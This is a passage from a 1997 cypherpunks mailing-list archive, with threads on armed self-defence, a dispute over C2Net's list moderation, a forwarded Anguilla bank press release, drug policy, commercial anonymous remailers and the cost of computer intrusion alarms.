them.   Se la vie.   Nevertheless, until the design of guns is improved, or
until there is a better weapon, a better tool invented which can be used by
individuals  - independently of organized defense agencies - for their own
use in regard of their own safety, guns will be manufactured, sold, and
bought.  And used.

Killing people is a Bad Thing, but there exist people who don't prevent
themselves from doing harmful, destructive things to others.   At that
particular point in time, when they are about to commit their crime against
another, their potential victims are in the position of having to do
something of practical use, and quickly.   They could use karate, or
ju-jitsu, or ninja stars, or call their dog to attack, or yell for help, or
use their special pocket knife, or run, or use a gun.  But they must do
*something*, they must employ some means to prevent from being harmed, or
from having their valuables taken, or else suffer the consequences of
debility or death.

Such is the position which an "out-of-control" person can put one in.   It
is possible to reason that such uncontrolled people need to have been
raised better, could have received psychological assistance, should have
been given an alternative view of life, might have been presented with
better values and philosophies, etc.   But you have to also consider how
much intellectual support any individual must be provided - must they be
programmed from birth with the proper structure of behavior, in order to
have around oneself the convenience of living with "good people" who are
not inimical to the society?   (and would that be a society of real humans,
of interest to other real humans)   Is what a person makes of themselves
ultimately a personal project, or is it to be pre-determined and
continuously managed by others (parents, teachers, guidance counselors,
psychologists, government clerks, policing agencies, government agencies,
government leaders).   When you relate to a person, will you be relating to
someone with their own identity and personal ambitions, who make
independent decisions about the actions they take, or only to a product of
other people's influence?

In any case, when someone behaves counter to your own wishes and seeks do
with you what they will, or to take from you what they will, including your
life, you must determine whether to allow it or how to prevent it - and if
moved to prevent it, what will work to accomplish that.  It might be
necessary to kill that Bad Person (though not their whole family or
relatives or neighborhood or race or country). 

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 3 Oct 1997 06:39:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Stronghold
Message-ID: <7e7cbf50cd157c6bdeb66f4d1f93136a@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



>> C2Net was wrong to censor the cypherpunks list in the guise of
>> moderation.  It was wrong to send threatening letters to people who
>> claimed its products were weak.  The whole moderation/censorship
>> experiment was a terrible mistake.  The actions taken by C2Net were
>> completely unjustified.
>
>Where do people get these bizarre ideas? C2 didn't censor the list. A
>guy who happened to work for C2 dropped some messages from one
>list. The messages still went out on the unfiltered list. Had he
>worked for Mc Donald's or the the NYC Sanitiation Department, would
>you blame them for this as well?

C2 employees informally mentioned libel suits to several cypherpunks,
such as Tim May.  Given that a good percentage of the company, perhaps
a majority, was involved with this incident, it seems reasonable to
judge the character of the company based on these actions.

This incident changed my view of C2 considerably.  Initially I held
them in the highest regard.  No longer.

(Your employment by C2 should have been mentioned in your post.  Many
people on the list may not know about it.  It is relevant.)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 3 Oct 1997 01:08:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Stronghold
In-Reply-To: <X6ByDe2w165w@bwalk.dm.com>
Message-ID: <199710021649.SAA24741@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM writes:
> 
>                I (and several other people on this mailing list) were threatened
> by C2Net's lawyers; so to avoid unpleasant disputes, I told them I won't be
> publishing whatever I might know about their product.

You obviously didn't know anything about it anyway.

> > No, you're the one trying to torpedo its sales to get back at certain
> > individuals for some perceived slight.
> 
> No I'm not.

An obvious lie.  Big surprise.

> That's why I complied with C2Net's request not to publish my opinions of
> their product.

You complied no doubt because you knew that your 'opinions' were baseless,
and that you had no defense to a libel suit.

> If this were true, then C2Net would encourage me to publicly present whatever
> "evidence" I have so they'd be able to refute it.  This is not what they
> asked me to do.

You have no evidence, Liar.  I'm sure they simply asked you to stop
publishing lies about them.

> Keep in mind that "anonymous" is probably an employee of C2Net.

Actually I'm not. Even so, this is just another wormy tactic to 
deflect attention from the fact that you're lying.

>                                                                  Several of
> C2Net's shills used to post C2Net propaganda withouy revealing their C2Net
> affiliation; they switched to anonymous remailers when their nyms were exposed.

I have little doubt that this is just another unfounded allegation
from the mouth of Dimitri Vulis, Noted Liar.

-Frondeur





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Fri, 3 Oct 1997 07:07:42 +0800
To: "Jim Choate" <cypherpunks@ssz.com>
Subject: Re: Forwarded mail... (fwd)
Message-ID: <199710022252.SAA29198@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 10/2/97 2:35 AM, Jim Choate (ravage@ssz.com)  passed this wisdom:

>Remember: A gun is like a finger, just point it at what you want to 
>hit.
>
>I have met hundreds of great shots in my life, there are many 
>people forwhom this sort of behaviour would not be delusional. My 
>grandfather (who you'll hear more about in a minute) used to 
>delight us as small kids by lighting matches stuck in wood fence 
>posts with a .22 pistol from about 50 yds. My cousin from Louisiana 
>likes to shoot squirrels (if you can callit that) by passing the 
>bullet just in front of their nose, causes lung hemorraghes and 
>they just fall off the limb. Me, I always miss or blow theirteeny 
>little head off, it's apparently a game of 1/4 inches. I work with 
>anex-gomer (ie USMC) pilot who is quite phenomenal with his .357 
>Desert Eagle,his groupings are just about an inch at 25 yds.  

   None of these targets shoots back ... none of these targets pump up
much adrenaline. I would never call myself a great shot (I did qualify
expert at both rifle, M-14, "A" course and pistol, .45, 1911A1), and I
can tell you of making several 25-35 yard snap shots in the jungle at
moving shooting targets with the adrenaline driving my eyeballs
through the roof ... but they were exactly that, pure reflex, center
of body mass shots, under max pressure. I must in all fairness recall
the other three to six shots each time that could have gone anywhere
and probably did.

  The point is, "shooting to wound" is a dangerous delusion! *no one*
can predict what a bullet will do when it enters the body. The rule I
have always followed is don't take out your gun unless you are going
to use it; don't use it unless you intend to kill. Makes decisions
much easier on that basis.
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Brian B. Riley --> http://www.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 	"The Box said Win '95 or better - So I used a Macintosh!"
 			 -- Harold Herbert Tessman			       






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 3 Oct 1997 07:31:22 +0800
To: cypherpunks@cyberpass.net
Subject: Hansa.net's LOCI encourages development of e-commerce financial products and services
Message-ID: <v0311078fb059d6670b08@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: fma66.fma.com: majordomo set sender to
owner-espam@lists.espace.net using -f
X-Orig-From: "Bell, Lynwood" <hansa@ibm.net>
X-e$pam-source: Various
X-Sender: rah@pop.sneaker.net
Mime-Version: 1.0
Date: Thu, 2 Oct 1997 13:44:21 -0400
To: espam@intertrader.com
From: Robert Hettinga <rah@shipwright.com>
Subject: Hansa.net's LOCI encourages development of e-commerce financial
 products and services
Sender: owner-espam@lists.espace.net
Precedence: bulk
Reply-To: e$@thumper.vmeng.com

---------------------------------------------------------------------
This mail is brought to you by the e$pam mailing list
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From: "Bell, Lynwood" <hansa@ibm.net>
Reply-To: hansa@ibm.net
Organization: The Span-Hansa Group
MIME-Version: 1.0
To: "Hettinga, Robert" <rah@shipwright.com>
CC: "Cate, Vince" <vince@offshore.com.ai>
Subject: Hansa.net's LOCI encourages development of e-commerce financial
products and services

Bob, I just announced this today for our public company. It might
 be appropriate to send it to either or both of your e$lab and FC98
 mailing lists.  I am not going to be able to accommodate hundreds
 of ventures but, given that some will have their own resources,
 money, etc. and only want the venue and the Bank to play with...
 it may be very interesting for all of us.  Add this to the pot
 in whatever way you feel is appropriate.

 Cheers,
 Lyn


 -------------

 Hansa.net Global Commerce, Inc.
 The Hansa Bank Bldg, Box 213, Landsome Road, The Valley, Anguilla,
 B.W.I., TV1 02P    Phone (264) 497-3800, Fax 497-3801, email
 hansa@ibm.net

 PRESS RELEASE                                FOR IMMEDIATE RELEASE

 Hansa.net and Hansa Bank  join forces to encourage the development of
     e-commerce financial products and services to further expand
 Hansa.net's offerings of Location Optimized Commerce on the Internet
                               (LOCI ).

 October 1, 1997 - Hansa.net Global Commerce, Inc. together with Hansa
 Bank  & Trust Company Limited, both of Anguilla, British West Indies,
 and  both  members of the Span-Hansa Group, have agreed  to   jointly
 sponsor  emerging Internet technologies which will enhance e-commerce
 through specifically tailored banking and financial applications.

 Lynwood  S. Bell, Chairman of Hansa Bank, the controlling shareholder
 of Hansa.net a publicly traded company, said "Many excellent start-up
 companies  lack a vehicle through which to perfect their  product  or
 service  and  to  test  their  market acceptance.   Most  traditional
 domestic banks, encumbered with vast legacy systems and bureaucracies
 are reluctant to entertain these developers in live trials. The Hansa
 Bank,  a  British  regulated  private merchant  and  investment  bank
 offering  a full range of banking and brokerage services, has  agreed
 to  provide  platforms  for approved developers  and  to  participate
 actively  with  them.  All applications will be thoroughly  screened,
 carefully controlled in their development and testing phases and will
 be  completely isolated from the Bank's existing business.  The  Bank
 expects  that some of these products may eventually result in leading
 edge products and services for the Bank."

 Hansa.net's  role  will  be  to assist  in  marketing  any  developed
 products  to  other  banks  and  financial  institutions.   As   well
 Hansa.net's  existing LOCI clients are expected to benefit  from  the
 Bank's new or enhanced services.

 The  first project, currently undergoing final review prior to  being
 accepted  by  the  Bank for testing, involves a  Dutch  developer  of
 digital  chequing.   Plans  are to demonstrate  the  product  at  the
 Financial  Cryptograph  98  Conference,  February  23-26,  1998  (see
 http:www.fc98.ai).   Hansa  Bank is  one  of  the  sponsors  of  this
 conference.

 Vince Cate, an Internet and cryptography expert recently featured  in
 Forbes and Wired Magazines is participating with Hansa.net and  Hansa
 Bank on this project. He said,  "Many brilliant e-commerce ideas  and
 products never reach the market because they have no incubator or  no
 real  life  environment in which to test.  Hansa.net and  Hansa  Bank
 provide  both.   As  well,  Anguilla is the perfect  venue  for  such
 development  in terms of sample size, global perspective,  government
 support,  and  of course, the absence of any taxes.  We fully  expect
 that  many  of the products developed will end up in companies  which
 are incorporated and reside here in Anguilla."

 About Hansa.net and the related Span-Hansa Group

 Hansa.net  was  founded in 1978 for computer systems development  and
 software  design.  In 1985 the company went public, and  subsequently
 expanded   into   software   product  development,   marketing,   and
 international  trade  technology.  Hansa.net's  primary  role  is  to
 coordinate all of the elements of Location Optimized Commerce on  the
 Internet  (LOCI  pronounced  "low-see") for  its  clients.  Hansa.net
 trades on the Vancouver Stock Exchange under the symbol "HAN"

 Both  companies  are part of the Span-Hansa Group  comprised  of  ten
 organizations doing business in as many international locations.  The
 Group's   activities  also  include  the  financing  of  intellectual
 property,  public  stock  offerings, acquisitions  and  mergers,  and
 consulting on international business structures and trade.  The Group
 maintains offices in Amsterdam, Barbados, and Anguilla,

 More  information  on  the Span-Hansa Group and on  other  Span-Hansa
 strategic partners can be found on the Company's Internet home  page:
 http://www.hansa.net.

 Lynwood S. Bell
 President

 Contact:   Hansa.net - Lynwood Bell           Vince Cate
           (264) 497-3800 hansa@ibm.net        (264) 497-3255
                                               vince@offshore.com.ai

         The Vancouver Stock Exchange has neither approved nor
                     disapproved of this release.


 ======================================================================
 LYNWOOD BELL - Span-Hansa Group, Hansa.net Global Commerce, Hansa Bank
                      http://www.hansa.net
 ======================================================================




---------------------------------------------------------------------
Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk
---------------------------------------------------------------------
Like e$? Help pay for it!  See <http://www.shipwright.com/beg.html>
Or, for e$/e$pam sponsorship, <mailto:rah@shipwright.com>
---------------------------------------------------------------------

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 2 Oct 1997 18:15:22 +0800
To: cypherpunks@toad.com
Subject: Re: The War on Drugs--Surrender! / Re: INFO-RUSS: Reuter: Russian+Russian Drug Cartels (fwd)
In-Reply-To: <199710011514.RAA10457@basement.replay.com>
Message-ID: <Pine.LNX.3.93.971002194809.409G-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 1 Oct 1997, Anonymous wrote:

[...]

> Legalize drugs!
> The War on Drugs *created* all of the current problems in this area
> by making minute amounts of forbidden substances worth more than
> precious metals.

I have to aggry with Anon here,  the legalisation of drugs combined with a
harm minimisation program has a good chance in resulting in less deaths
and crime.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 3 Oct 1997 09:39:29 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Forwarded mail... (fwd)
Message-ID: <199710030143.UAA28689@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Forwarded mail... (fwd)
> Date: Thu, 2 Oct 97 18:52:18 -0400
> From: "Brian B. Riley" <brianbr@together.net>

>    None of these targets shoots back ... none of these targets pump up
> much adrenaline.

I have been shot at several times, some were hunting accidents and some were
intentional. I did not freek out nor did my adrenalin rush impede my ability
to think or to react. I did shoot back in each case. I am still alive and
don't have a single bullet hole in my body so I must be doing something
right. Don't know about them, I left the area in every case ASAP.

> can tell you of making several 25-35 yard snap shots in the jungle at
> moving shooting targets with the adrenaline driving my eyeballs
> through the roof

My house at 1am is not comparable to the jungle nor is the psychological
situation comparable either. I am not confused about where or what is going
on nor am I worried about making my tour. I am faced with the clear situation
of somebody who wants to do me bodily harm. That doesn't scare me, it pisses
me off to no end. When I get a rush I don't shake and such, I get very calm
and methodical. It's only after the crisis has passed that I tend to sit down
and shake like hell.

>   The point is, "shooting to wound" is a dangerous delusion!

No shit. Let me make this clear. The ONLY way I would even consider shooting
to wound was if the burglar was CLEARLY UNARMED, and the only reason that
would happen was because in Texas shooting unarmed persons, even burglars,
is illegal other than that you'd be dead. In any other situation my intent is
to kill, kill, kill. As I said before, I would start with a center chest body
shot and work up (which is natural since the aim point for successive shots
will rise).

> have always followed is don't take out your gun unless you are going
> to use it; don't use it unless you intend to kill. Makes decisions
> much easier on that basis.

We agree on this point.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Fri, 3 Oct 1997 12:49:06 +0800
To: Jim Choate <cypherpunks@ssz.com
Subject: Re: http:--www.cnn.com-US-9710-01-shooting.update-
Message-ID: <3.0.32.19971002203627.006f3128@best.com>
MIME-Version: 1.0
Content-Type: text/plain



Crypto relevance?  Naturally: this wouldn't have happened if strong crypto
were outlawed!

At 09:51 PM 10/1/97 -0500, Jim Choate wrote:
>
>    CNN logo 
>   Navigation 
>   
>   Infoseek/Big Yellow 
>   
   
>               TEEN KILLS 2 AT SCHOOL; MOTHER FOUND DEAD AT HOME
>                                       
>     Woodham October 1, 1997
>     Web posted at: 3:38 p.m. EDT (1938 GMT)
>     
>     PEARL, Mississippi (CNN) -- A Mississippi teen-ager slashed his
>     mother's throat Wednesday morning before going on a shooting rampage
>     at his high school that left two students dead and at least six
>     wounded, authorities said.
>     
>     The high school junior, Luke Woodham, was arrested and charged with
>     three counts of murder shortly after the shooting at Pearl High
>     School, about three miles east of the state capital, Jackson.
>     
>     Police Chief Bill Slade choked back tears as he told reporters,
>     "This was a disgruntled girlfriend-boyfriend thing... We talked to
>     the youth. He gave us a statement and his manifesto was that he felt
>     he had been wronged."
>

etc,..,.
obligatory pgp key:

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=H0bC
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Fri, 3 Oct 1997 03:09:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Stronghold
In-Reply-To: <199710021515.RAA14546@basement.replay.com>
Message-ID: <Pine.BSF.3.96.971002204421.3283B-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 2 Oct 1997, Anonymous wrote:

> 
> C2Net was wrong to censor the cypherpunks list in the guise of moderation.
> It was wrong to send threatening letters to people who claimed its
> products were weak.  The whole moderation/censorship experiment was a
> terrible mistake.  The actions taken by C2Net were completely unjustified.

Where do people get these bizarre ideas? C2 didn't censor the list. A guy
who happened to work for C2 dropped some messages from one list. The
messages still went out on the unfiltered list. Had he worked for Mc
Donald's or the the NYC Sanitiation Department, would you blame them for
this as well? 


-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred. 
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 3 Oct 1997 09:50:54 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: "Show me an example of terrorists using the Internet or (fwd)
Message-ID: <199710030155.UAA28754@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 02 Oct 1997 18:22:26 -0700
> From: Blanc <blancw@cnw.com>
> Subject: Re: "Show me an example of terrorists using the Internet or
>   crypto"

> Stalkers, thieves, rapists, drug addicts, perverts, etc., or just real
> animals from the animal kingdom, strike at the most inopportune times, when
> there are no officially sanctioned police forces around to be of help.

I have to object to the inclusion of drug addicts, they do what they do
because the legislators and police want to stick their noses in other
peoples business. If drug addicts resort to crime then society as a whole
must garner some of the responsibility of putting them in that situation.
In short the methods we use to control drug use in this country promote
crime. This does not apply to others who would do this anyway and happen to
take drugs, which means the drug laws are clearly unreasonable.

> something of practical use, and quickly.   They could use karate, or
> ju-jitsu, or ninja stars, or call their dog to attack, or yell for help, or

Isn't killing dogs a bad thing? I am shure my dog thinks so. Perhaps their
is a lesson to be had in comparative psychology here. It's much easier to
ask another entity to die for you because you consider them different and
therefore of less value in the grand scheme of things. Human history is full
of such instances. This also happens to be the rationale a lot if not all
burglars use to justify their actions as well.



    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Same Guy <theSameGuy@theSamePlace.Old>
Date: Fri, 3 Oct 1997 11:33:17 +0800
To: cypherpunks@toad.com
Subject: And with the money you save on rent, you can...
Message-ID: <34345F32.A8C@theSamePlace.Old>
MIME-Version: 1.0
Content-Type: text/plain



* A Washington Post report in March on prison corruption in
Mexico revealed that drug traffickers supposedly under maximum
security actually have "spacious rooms, cooks and maids, cellular
phones, a gymnasium, a sauna, and manicured gardens where they
host barbecues," among other things.  And in May, the New York
Times revealed that a federal jail in Brooklyn has been run as a
"Mafia social club," where family business "sit-downs" featured
smuggled-in meatballs, manicotti, vodka, and wine.  And in May,
imprisoned Gangster Disciple leader Larry Hoover was convicted in
Chicago of running a vast prison drug operation in which he
typically issued memos and gave orders by cellular phone while
wearing $400 alligator boots and eating specially prepared food in
his cell. 

To read these News of the Weird newspaper
columns from the past six months, go to
http://www.nine.org/notw/notw.html
(That site contains no graphics, no photos, no video clips, no
audio.  Just text.  Deal with it.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 3 Oct 1997 09:16:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Stronghold
Message-ID: <8cd59c62a1a9f29e5e18bebd3faa1b3f@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@cypherpunks.to> writes:
> On Thu, 2 Oct 1997, Anonymous wrote:
> 
> > 
> > C2Net was wrong to censor the cypherpunks list in the guise of moderation.
> > It was wrong to send threatening letters to people who claimed its
> > products were weak.  The whole moderation/censorship experiment was a
> > terrible mistake.  The actions taken by C2Net were completely unjustified.
> 
> Where do people get these bizarre ideas? C2 didn't censor the list. A guy
> who happened to work for C2 dropped some messages from one list. The
> messages still went out on the unfiltered list. Had he worked for Mc
> Donald's or the the NYC Sanitiation Department, would you blame them for
> this as well? 

Are you serious?  The messages dropped were those which made (spurious)
claims of weaknesses in C2 products.  And later messages were dropped
which attempted to discuss the dropping of earlier messages.

The effect was that subscribers to the filtered list not only were not
exposed to the messages critical of C2, they were prevented from knowing
that a controversy existed about the filtering policies.

There can be little doubt of the truth of these facts.  One of us is
remembering things wrongly.

And yes, if the moderator were a McDonalds employee and he not only
dropped messages which criticized McDonalds, but also filtered out later
messages complaining about his actions, then I'd jolly well blame him.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Tim W. May" <twm@dev.null>
Date: Fri, 3 Oct 1997 11:35:58 +0800
To: cypherpunks@toad.com
Subject: Not that I'm a troublemaker...
Message-ID: <3434631F.4451@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



THE CLASSIC MIDDLE NAME (continued)

* In Alabama, murderer Billy Wayne Waldrop was executed in
January, and the next month, murderer Dudley Wayne Kyzer was
turned down for parole.  Two weeks later, murderer Coleman
Wayne Gray was executed in Virginia.  In May, murderer Larry
Wayne White was executed in Texas.  In July, Maryland inmate
Richard Wayne Willoughby was sentenced to life in prison for
killing another inmate.  And once again this April 19, the nation
was reminded that the Oklahoma City bombing date
commemorated not only the seige at Waco, but the 1995 Arkansas
execution of murderer and militia hero Richard Wayne Snell. 


AUTHENTICITY:  All news stories mentioned in News of the
Weird are from news stories appearing in daily newspapers in the
U. S. and Canada (or occasionally, reputable daily newspapers in
other countries or other reputable magazines and journals).  No
so-called supermarket tabloid, and no story that was not intended
to be "news," is ever the source of a News of the Weird story.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 3 Oct 1997 10:17:00 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: "Show me an example of terrorists using the Internet or crypto" (fwd)
Message-ID: <199710030217.VAA28885@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 2 Oct 1997 16:47:32 -0400
> From: Anonymous <anon@anon.efga.org>
> Subject: Re: "Show me an example of terrorists using the Internet or crypto"

> The only conclusion that can be drawn is that civilians, even armed
> civilians with combat experience, are so overwhelmingly peace loving
> that they will bend very far backwards to avoid trouble, even if it
> means thousands of hours of work.  Can the same be said of career
> military or government people?


		    A   D E C L A R A T I O N 
 
		  By the REPRESENTATIVES of the 
 
	 U N I T E D   S T A T E S   O F   A M E R I C A, 
 
		    In GENERAL CONGRESS assembled. 
 

[deleted material]


Prudence, indeed, will dictate that Governments long established should not
be changed for light and transient Causes; and accordingly all Experience
hath shewn, that Mankind are more disposed to suffer, while evils are
sufferable, than to right themselves by abolishing the Forms to which they
are accustomed.

[deleted material]


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 3 Oct 1997 12:27:58 +0800
To: "cypherpunks@cyberpass.net>
Subject: Intruder Alert!
In-Reply-To: <01BCCF84.84FC2100.hallam@ai.mit.edu>
Message-ID: <v03102803b05a203e101f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:32 PM -0700 10/2/97, Phillip Hallam-Baker wrote:
>On Thursday, October 02, 1997 11:54 AM, Attila T. Hun
>[SMTP:attila@hun.org] wrote:
>>     if Phill is secure, what difference does it make if you assault
>>     him?  my guess is he is not secure, and probably has no clue how
>>     to get from there to secure.
>
>Because when you ring the alarm bell on my system
>it is answered by law enforcement and it costs about
>$10,000 a time to deal with the issue.

Hmmmhhh, you must have a law enforcement arrangement different from the
ones around here (here being the Bay Area/Silicon Valley). Around here, law
enforcement is usually the last to be brought in, and they in fact have
little interest in answering computer intrusion alert calls.

If it costs you, or the taxpayers (through your law enforcement situation),
$10,000 for each quiver of your alarm system, maybe you ought to find ways
to cut the costs.

And setting off an alarm is not necessarily a crime, of course. Depends on
where the alarm was placed. If someone bumps a car in a parking lot and
sets off a motion sensor alarm, no crime has generally been committed. At
least this is the situation in all the places I know of.

And if dealing with a false car alarm cost $10,000, or even $100, this
would tell the alarm owner to do something to reduce the number of false
alarms.

>Setting off fire alarms costs real money.

Indeed, because people panic, evacuate, leave work in progress, lose
manufacturing runs, etc. But I can't think of many computer intrusion
alarms which have the same effect, nor should they. If someone sets off
panic alarms because an incorrect password is typed too many times, or some
biometric test fails, or access to some files is unexplained, or whatever
the alarms are, then this is an overreaction.

Better security, better firewalls, write protecting Web sites, air gaps
with the Net, or whatever, these would seem to be better alternatives than
calling in the cops and running up a $10,000 bill for each alarm.

(In any case, cops in my area will definitely _not_ come to my aid if I
call them to report an attempted incursion into my system. Your cops must
be different.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 3 Oct 1997 10:16:57 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: None (fwd)
Message-ID: <199710030225.VAA28934@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 2 Oct 1997 22:04:09 +0200 (MET DST)
> Subject: Re: Remailers and ecash (fwd)
> From: nobody@REPLAY.COM (Anonymous)

> When all your customers are anonymous, you don't get to be very choosy.

Shure you can. The operator offers a simple service, resend email
anonymously. If the result of that email is the anon user bringing hardship
on the remailer cancel their account. If they do it again, cancel it again.
Such is the woes of a commercial remailer. Outside of that, if they don't
like the fact that I won't do other things for them when they are anonymous
that is too bad.

Like I said, I offer specific services with specific goals for a specific
fee. If the results are not what you wanted, too bad. You want my other
services then you'll have to give up the anonymity because I need a certain
level of security that dealing with anonymous customers simply can't provide.
I would operate a commercial remailer, I would limit my services to keeping
the remailer up and the accounts valid so long as the money flowed in from
the users, period. I don't do dedicated lines, security audits, development,
etc. to anonymous customers.



    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 3 Oct 1997 04:26:03 +0800
To: cypherpunks@ssz.com
Subject: NoneRe: Remailers and ecash (fwd)
In-Reply-To: <199710020549.AAA24606@einstein.ssz.com>
Message-ID: <199710022004.WAA17386@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:

> Shure they do because one of the things I would love to do is run a
> commercial anon remailer.
[snip]
> You obviously have never done business with me. I've turned more than
> one customer away because they were either stupid or wanted something that
> was completely out of line.


When all your customers are anonymous, you don't get to be very choosy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 3 Oct 1997 11:12:35 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailers and ecash (fwd)
Message-ID: <199710030325.WAA29273@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 2 Oct 1997 11:33:00 -0400
> From: Anonymous <anon@anon.efga.org>
> Subject: Re: Remailers and ecash (fwd)

> Jim Choate:
